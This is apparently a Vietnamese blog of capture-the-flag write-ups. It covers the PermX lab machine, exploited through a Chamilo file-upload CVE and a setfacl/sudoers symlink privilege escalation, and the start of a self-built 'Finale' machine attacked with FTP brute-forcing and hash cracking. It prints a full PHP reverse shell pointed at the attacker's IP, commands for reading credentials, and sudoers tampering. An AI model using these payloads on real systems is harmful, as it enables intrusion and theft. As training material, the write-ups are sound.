Thử đăng nhập với những tài khoản đơn giản nhưng không có kết quả, tôi sẽ thử tìm kiếm các lỗ hổng Chamilo
┌──(neo㉿n0b0dy)-[~]
└─$ searchsploit chamilo 1
------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Chamilo 1.8.7 / Dokeos 1.8.6 - Remote File Disclosure | php/webapps/16114.txt
Chamilo LMS - Persistent Cross-Site Scripting | php/webapps/39474.txt
Chamilo LMS 1.11.14 - Account Takeover | php/webapps/50694.txt
Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated) | php/webapps/49867.py
Chamilo LMS 1.11.8 - 'firstname' Cross-Site Scripting | php/webapps/45536.txt
Chamilo LMS 1.11.8 - Cross-Site Scripting | php/webapps/45535.txt
Chamilo LMS 1.9.10 - Multiple Vulnerabilities | php/webapps/36435.txt
Chamilo Lms 1.9.6 - 'profile.php?password' SQL Injection | php/webapps/30012.txt
Chamilo LMS 1.9.8 - Blind SQL Injection | php/webapps/36040.txt
Chamilo LMS IDOR - 'messageId' Delete POST Injection | php/webapps/39473.txt
------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Thử một số exploit để xem có khai thác được không. Sử dụng msfconsole
┌──(neo㉿n0b0dy)-[~]
└─$ msfconsole -q
msf6 > search chamilo
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/chamilo_unauth_rce_cve_2023_34960 2023-06-01 excellent Yes Chamilo unauthenticated command injection in PowerPoint upload
1 \_ target: PHP . . . .
2 \_ target: Unix Command . . . .
3 \_ target: Linux Dropper . . . .
Interact with a module by name or index. For example info 3, use 3 or use exploit/linux/http/chamilo_unauth_rce_cve_2023_34960
After interacting with a module you can manually set a TARGET with set TARGET 'Linux Dropper'
msf6 > use 1
[*] Additionally setting TARGET => PHP
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > options
Module options (exploit/linux/http/chamilo_unauth_rce_cve_2023_34960):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The Chamilo endpoint URL
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
When TARGET is 0:
Name Current Setting Required Description
---- --------------- -------- -----------
WEBSHELL no The name of the webshell with extension. Webshell name will be randomly generated if left unset.
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PHP
View the full module info with the info, or info -d command.
Thiết lập các tùy chọn
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > set rhosts lms.permx.htb
rhosts => lms.permx.htb
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > set lhost tun0
lhost => 10.10.14.105
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > run
[*] Started reverse TCP handler on 10.10.14.105:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 10.10.11.23:80 can be exploited.
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. No valid response received from the target. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > set ForceExploit true
ForceExploit => true
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > run
[*] Started reverse TCP handler on 10.10.14.105:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 10.10.11.23:80 can be exploited.
[!] The target is not exploitable. No valid response received from the target. ForceExploit is enabled, proceeding with exploitation.
[*] Executing PHP for php/meterpreter/reverse_tcp
[-] Exploit aborted due to failure: payload-failed: Web shell upload error.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) >
Thử tìm kiếm các lỗ hổng khác trên internet, và tôi tìm thấy CVE-2023-4220. Lỗ hổng này cho phép tải file lên server theo path /main/inc/lib/javascript/bigupload/inc + tên file, với action post-unsupported. Cuối cùng thực thi revershell vừa tải lên bằng cách sử dụng curl để truy cập vào nó.
Gaining access
Đầu tiên, clone repo về
┌──(neo㉿n0b0dy)-[~/HTB/PermX/Chamilo-CVE-2023-4220-Exploit]
└─$ ll
total 12
-rwxr-xr-x 1 neo neo 2471 Jul 15 15:05 CVE-2023-4220.sh
-rw-r--r-- 1 neo neo 1205 Jul 15 15:05 README.md
Tiếp theo, tôi cần 1 revershell. Sử dụng pentestmonkey cho đơn giản, thay thế IP và port của mình.
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.105';
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Lưu nó lại trong thư mục repo. Cấp quyền thực thi cho exploit và chạy nó
┌──(neo㉿n0b0dy)-[~/HTB/PermX/Chamilo-CVE-2023-4220-Exploit]
└─$ chmod +x CVE-2023-4220.sh
┌──(neo㉿n0b0dy)-[~/HTB/PermX/Chamilo-CVE-2023-4220-Exploit]
└─$ ./CVE-2023-4220.sh
-e
All options -f, -h, and -p are required.
-e
Usage: ./CVE-2023-4220.sh -f reverse_file -h host_link -p port_in_the_reverse_file
-e
Options:
-f Path to the reverse file
-h Host link where the file will be uploaded
-p Port for the reverse shell
Thêm các options như yêu cầu, cần lưu ý port lắng nghe phải trùng với port đã cấu hình trong file revershell
┌──(neo㉿n0b0dy)-[~/HTB/PermX/Chamilo-CVE-2023-4220-Exploit]
└─$ ./CVE-2023-4220.sh -f rvshell.php -h http://lms.permx.htb -p 4444
-e
The file has successfully been uploaded.
-e # Use This leter For Interactive TTY ;)
# python3 -c 'import pty;pty.spawn("/bin/bash")'
# export TERM=xterm
# CTRL + Z
# stty raw -echo; fg
-e
# Starting Reverse Shell On Port 4444 . . . . . . .
-e
listening on [any] 4444 ...
connect to [10.10.14.105] from (UNKNOWN) [10.10.11.23] 42054
Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
17:01:39 up 6:38, 4 users, load average: 0.00, 0.00, 0.04
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1055): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@permx:/$
Do chưa có kinh nghiệm sử dụng Chamilo nên tôi đã hỏi ChatGPT để tìm thông tin đăng nhập được lưu ở đâu trong source code
Tìm configuration.php
www-data@permx:/$ find / -type f -name configuration.php 2>/dev/null
find / -type f -name configuration.php 2>/dev/null
/var/www/chamilo/app/config/configuration.php
/var/www/chamilo/plugin/sepe/src/configuration.php
www-data@permx:/$ cat /var/www/chamilo/app/config/configuration.php
cat /var/www/chamilo/app/config/configuration.php
<?php
// Chamilo version 1.11.24
// File generated by /install/index.php script - Sat, 20 Jan 2024 18:20:32 +0000
/* For licensing terms, see /license.txt */
/**
* This file contains a list of variables that can be modified by the campus site's server administrator.
* Pay attention when changing these variables, some changes may cause Chamilo to stop working.
* If you changed some settings and want to restore them, please have a look at
* configuration.dist.php. That file is an exact copy of the config file at install time.
* Besides the $_configuration, a $_settings array also exists, that
* contains variables that can be changed and will not break the platform.
* These optional settings are defined in the database, now
* (table settings_current).
*/
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6**********';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
/**
* Directory settings.
*/
// URL to the root of your Chamilo installation, e.g.: http://www.mychamilo.com/
$_configuration['root_web'] = 'http://lms.permx.htb/';
// Path to the webroot of system, example: /var/www/
$_configuration['root_sys'] = '/var/www/chamilo/';
// Path from your WWW-root to the root of your Chamilo installation,
// example: chamilo (this means chamilo is installed in /var/www/chamilo/
$_configuration['url_append'] = '';
/**
* Login modules settings.
Kiểm tra /etc/passwd
www-data@permx:/$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
Như vậy ở đây tôi chỉ có 1 user mtz
www-data@permx:/$ ls -la /home
ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Jan 20 18:10 .
drwxr-xr-x 18 root root 4096 Jul 1 13:05 ..
drwxr-x--- 6 mtz mtz 4096 Jul 15 17:51 mtz
User flag
Thử đăng nhập user mtz với password vừa tìm được trong file config
┌──(neo㉿n0b0dy)-[~]
└─$ ssh mtz@permx.htb
mtz@permx.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-113-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon Jul 15 05:54:05 PM UTC 2024
System load: 0.0
Usage of /: 65.1% of 7.19GB
Memory usage: 29%
Swap usage: 0%
Processes: 270
Users logged in: 1
IPv4 address for eth0: 10.10.11.23
IPv6 address for eth0: dead:beef::250:56ff:feb9:f5a7
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Jul 15 17:41:49 2024 from 10.10.16.70
mtz@permx:~$ id
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)
mtz@permx:~$ ls -la user.txt
-rw-r----- 1 root mtz 33 Jul 15 05:02 user.txt
mtz@permx:~$
Privilege escalation
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
Kiểm tra file acl.sh
mtz@permx:~$ ls -la /opt/acl.sh
-rwxr-xr-x 1 root root 419 Jun 5 11:58 /opt/acl.sh
mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
mtz@permx:~$
Bash script này kiểm tra sự tồn tại của file bên trong thư mục /home/mtz, sau đó dùng setfacl để thay đổi ACL của file, cấp quyền cho user đã chỉ định.
Tôi sẽ tạo symbolc link từ một file trong /home/mtz đến /etc/sudoers và sau đó sử dụng /opt/acl.sh để thay đổi quyền của symbolic link này
mtz@permx:~$ ln -s /etc/sudoers /home/mtz/sudoers_link
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
mtz@permx:~$ echo "mtz ALL=(ALL:ALL) ALL" >> /home/mtz/sudoers_link
Chuyển sang root
mtz@permx:~$ sudo su
[sudo] password for mtz:
root@permx:/home/mtz# id
uid=0(root) gid=0(root) groups=0(root)
root@permx:/home/mtz# cd
root@permx:~# pwd
/root
root@permx:~# ls -la root.txt
-rw-r----- 1 root root 33 Jul 15 18:01 root.txt
Self-Dev - Finale
in CTF on Linux, Web, FTP, Mysql, SSH, Joomla, Lfi, Command Injection, Brute-force, Burpsuite, Self-Dev
Đây là một máy tôi tự làm áp dụng một số lỗ hổng phổ biến như LFI, command injection để khai thác victim, lợi dụng lỗi cấu hình yếu của hệ thống để lấy được các thông tin quan trọng, từ đó truy cập được vào máy và thực hiện leo thang đặc quyền.
Tôi đã cố gắng xây dựng nhiều hơn 1 cách để khai được máy này. Vậy nên trong writeup này tôi sẽ trình bày tất cả những lỗ hổng và cách khai thác chúng để truy cập được vào máy.
Máy ảo được cấu hình với DHCP server. Để xác định IP của máy, sử dụng netdiscover. Tôi đang sử dụng 192.168.24.0/24
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ sudo netdiscover -r 192.168.24.0/24
Reconnaissance and Scanning
21/tcp open ftp syn-ack vsftpd 2.0.8 or later
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c5:b4:01:68:ae:ee:48:60:03:ff:38:b1:72:18:00:e4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVvPZI6pD5lkfC5jLZ/PiWiJNOBG4WYRRRxpziziHdVNnrQaRgqippRJpvbeuxOGZ7lW8yZgmik0Jab2GFkR/x7ooE/VNBxiGd/eAziTP0uT1n1WYRu7B6A1v2nL6qwDmRp/qfiQX9QwdYsWTpfrC//DuHfN5Dh2CAgOZAprUg9lRlZkFwbgfYcGwUu5GOqtZGfQtYG0NQk0B7Vp4hrLywzfidbZt8LjEF/PnGXE7SHytjGJ2MpaAjhXS2ULdFmTzHusG61WM7Az0AghxS3fXgwqQgdcBLHfKKhweGZNd+lzAzy0r439xXdMNkFwGt7Megws4DZwDm6GO1J1elcw+aOzqlXBrzzwpQ+pVeWZ9Dkg/MLroSTi1nZ2Yg7z24jDmmTAMBPLk7xZMcS+ZRdjl9f0veF8AW6u1tBunt0t0o4NvGnSdXhHgnXzamQ3wQMzxcQATTFKJKmnJnn+o9qx7t+05xcKH9pIMLNk9t7RGdeqFWZkqGmgYLdqQRLhcWYvk=
| 256 a2:4e:d7:89:d4:7a:0c:bd:fa:46:60:ee:eb:a5:f8:62 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIXCkEEyL46BJSiwv9eMiNA+PEw0QALYmftxcH74HZF17BCW5uXrp1zhmeeTj3HADKp3X+Lacnp/koOE+kEgTY8=
| 256 02:25:87:e5:40:33:0e:b5:2c:19:89:42:af:e1:40:6b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHnbYN44WW1MB9OJSMeWXa6LqT1Hvt0+n3edKUP7v8l7
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 16 disallowed entries
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-title: Home
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 1B6942E22443109DAEA739524AB74123
139/tcp open netbios-ssn syn-ack Samba smbd 4.6.2
445/tcp open netbios-ssn syn-ack Samba smbd 4.6.2
1337/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Cat Blog - Home
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: 0s
| smb2-time:
| date: 2024-06-23T16:45:36
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 12631/tcp): CLEAN (Couldn't connect)
| Check 2 (port 63557/tcp): CLEAN (Couldn't connect)
| Check 3 (port 43846/udp): CLEAN (Failed to receive data)
| Check 4 (port 33713/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| nbstat: NetBIOS name: FINALE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| FINALE<00> Flags: <unique><active>
| FINALE<03> Flags: <unique><active>
| FINALE<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
| WORKGROUP<1e> Flags: <group><active>
| Statistics:
| 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
| 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_ 00:00:00:00:00:00:00:00:00:00:00:00:00:00
Enumeration
Port 21 - FTP
Truy cập FTP server với port 21
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ ftp 192.168.24.165
Connected to 192.168.24.165.
220 Welcome back, ftpuser
Name (192.168.24.165:neo):
Để ý trong phần banner của ftp server, có vẻ như tôi đã được cung cấp sẵn username để truy cập ftp
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ ftp 192.168.24.165
Connected to 192.168.24.165.
220 Welcome back, ftpuser
Name (192.168.24.165:neo): ftpuser
331 Please specify the password.
Password:
Vậy là tôi đã có username ở đây, vậy còn password? Tôi sẽ thử brute-force
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ hydra -l ftpuser -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt ftp://192.168.24.165
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-24 00:12:24
[DATA] max 16 tasks per 1 server, overall 16 tasks, 59185 login tries (l:1/p:59185), ~3700 tries per task
[DATA] attacking ftp://192.168.24.165:21/
[STATUS] 279.00 tries/min, 279 tries in 00:01h, 58906 to do in 03:32h, 16 active
[21][ftp] host: 192.168.24.165 login: ftpuser password: harrypotter
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-24 00:13:41
Truy cập lại ftp server
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ ftp 192.168.24.165
Connected to 192.168.24.165.
220 Welcome back, ftpuser
Name (192.168.24.165:neo): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||26732|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 120 Jun 21 18:35 start.txt
226 Directory send OK.
ftp> get start.txt
local: start.txt remote: start.txt
229 Entering Extended Passive Mode (|||17287|)
150 Opening BINARY mode data connection for start.txt (120 bytes).
100% |****************************************************************************************************| 120 57.30 KiB/s 00:00 ETA
226 Transfer complete.
120 bytes received in 00:00 (31.40 KiB/s)
ftp>
Nội dung start.txt
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ cat start.txt
I got his pass. But I dont know how to use this!
Can you?
$2a$10$lPOk4/i0R2TU70R.9HCs1.lG1TXKkX14od.1EzJnd453t4jQRSl8q
Tôi nhận được một password hash với format bcrypt, một trong những format phổ biến nhất trong linux. Sử dụng john để decrypt nó
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ echo '$2a$10$lPOk4/i0R2TU70R.9HCs1.lG1TXKkX14od.1EzJnd453t4jQRSl8q' > hash
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ john -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 20 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho (?)
1g 0:00:00:10 DONE (2024-06-24 00:22) 0.09794g/s 141.0p/s 141.0c/s 141.0C/s teamomucho..rachelle
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Tuy nhiên thì tôi chưa biết password này sẽ sử dụng để đăng nhập vào đâu, nên để lại đó.
Quay trở lại với phần port scan, thử truy cập vào smb với port 445 nhưng tôi không thu được gì thêm vì server không chia sẻ file nào.
Port 80 - HTTP
Tiếp tục với port 80 http
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ whatweb http://192.168.24.165
http://192.168.24.165 [200 OK] Apache[2.4.41], Cookies[ecf033cb8f4e3a32a22b2d4052ca809a], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], HttpOnly[ecf033cb8f4e3a32a22b2d4052ca809a], IP[192.168.24.165], MetaGenerator[Joomla! - Open Source Content Management], PasswordField[password], Script[application/json,application/ld+json,module], Title[Home], UncommonHeaders[referrer-policy,cross-origin-opener-policy], X-Frame-Options[SAMEORIGIN]
Tôi có ngay 1 user của Joomla là Administrator ở trang chủ. Kết hợp với password đã có ở phần trước, sau khi thử qua một vài username của admin thì tôi tìm được thông tin đăng nhập admin:tequieromucho.
Sử dụng dirsearch để tìm directory
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ dirsearch -u http://192.168.24.165
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/neo/Finale/reports/http_192.168.24.165/_24-06-24_00-43-38.txt
Target: http://192.168.24.165/
[00:43:38] Starting:
[00:43:40] 403 - 279B - /.ht_wsr.txt
[00:43:40] 403 - 279B - /.htaccess.bak1
[00:43:40] 403 - 279B - /.htaccess.orig
[00:43:40] 403 - 279B - /.htaccess.sample
[00:43:40] 403 - 279B - /.htaccess_extra
[00:43:40] 403 - 279B - /.htaccess_orig
[00:43:40] 403 - 279B - /.htaccess_sc
[00:43:40] 403 - 279B - /.htaccessOLD
[00:43:40] 403 - 279B - /.htaccessBAK
[00:43:40] 403 - 279B - /.htaccess.save
[00:43:40] 403 - 279B - /.htaccessOLD2
[00:43:40] 403 - 279B - /.htm
[00:43:40] 403 - 279B - /.html
[00:43:40] 403 - 279B - /.htpasswds
[00:43:40] 403 - 279B - /.htpasswd_test
[00:43:40] 403 - 279B - /.httr-oauth
[00:43:42] 403 - 279B - /.php
[00:43:51] 301 - 324B - /administrator -> http://192.168.24.165/administrator/
[00:43:51] 200 - 31B - /administrator/cache/
[00:43:51] 301 - 329B - /administrator/logs -> http://192.168.24.165/administrator/logs/
[00:43:51] 200 - 507B - /administrator/includes/
[00:43:51] 200 - 31B - /administrator/logs/
[00:43:51] 200 - 3KB - /administrator/
[00:43:51] 200 - 3KB - /administrator/index.php
[00:43:53] 301 - 314B - /api -> http://192.168.24.165/api/
[00:43:53] 404 - 54B - /api/
[00:43:56] 301 - 316B - /cache -> http://192.168.24.165/cache/
[00:43:56] 200 - 31B - /cache/
[00:43:57] 200 - 31B - /cli/
[00:43:58] 301 - 321B - /components -> http://192.168.24.165/components/
[00:43:58] 200 - 31B - /components/
[00:43:58] 200 - 0B - /configuration.php
[00:44:05] 200 - 3KB - /htaccess.txt
[00:44:06] 301 - 317B - /images -> http://192.168.24.165/images/
[00:44:06] 200 - 31B - /images/
[00:44:06] 301 - 319B - /includes -> http://192.168.24.165/includes/
[00:44:06] 200 - 31B - /includes/
[00:44:06] 404 - 4KB - /index.php/login/
[00:44:07] 200 - 2KB - /index.php
[00:44:08] 301 - 319B - /language -> http://192.168.24.165/language/
[00:44:08] 200 - 31B - /layouts/
[00:44:08] 403 - 279B - /libraries/
[00:44:08] 403 - 279B - /libraries/phpmailer/
[00:44:08] 403 - 279B - /libraries/tiny_mce
[00:44:08] 403 - 279B - /libraries/tiny_mce/
[00:44:08] 403 - 279B - /libraries/tinymce
[00:44:08] 403 - 279B - /libraries/tinymce/
[00:44:08] 403 - 279B - /libraries
[00:44:08] 200 - 7KB - /LICENSE.txt
[00:44:11] 301 - 316B - /media -> http://192.168.24.165/media/
[00:44:11] 200 - 31B - /media/
[00:44:12] 200 - 31B - /modules/
[00:44:12] 301 - 318B - /modules -> http://192.168.24.165/modules/
[00:44:17] 301 - 318B - /plugins -> http://192.168.24.165/plugins/
[00:44:17] 200 - 31B - /plugins/
[00:44:19] 200 - 2KB - /README.txt
[00:44:20] 200 - 360B - /robots.txt
[00:44:21] 403 - 279B - /server-status
[00:44:21] 403 - 279B - /server-status/
[00:44:26] 301 - 320B - /templates -> http://192.168.24.165/templates/
[00:44:26] 200 - 31B - /templates/
[00:44:26] 200 - 31B - /templates/index.html
[00:44:26] 200 - 0B - /templates/system/
[00:44:26] 301 - 314B - /tmp -> http://192.168.24.165/tmp/
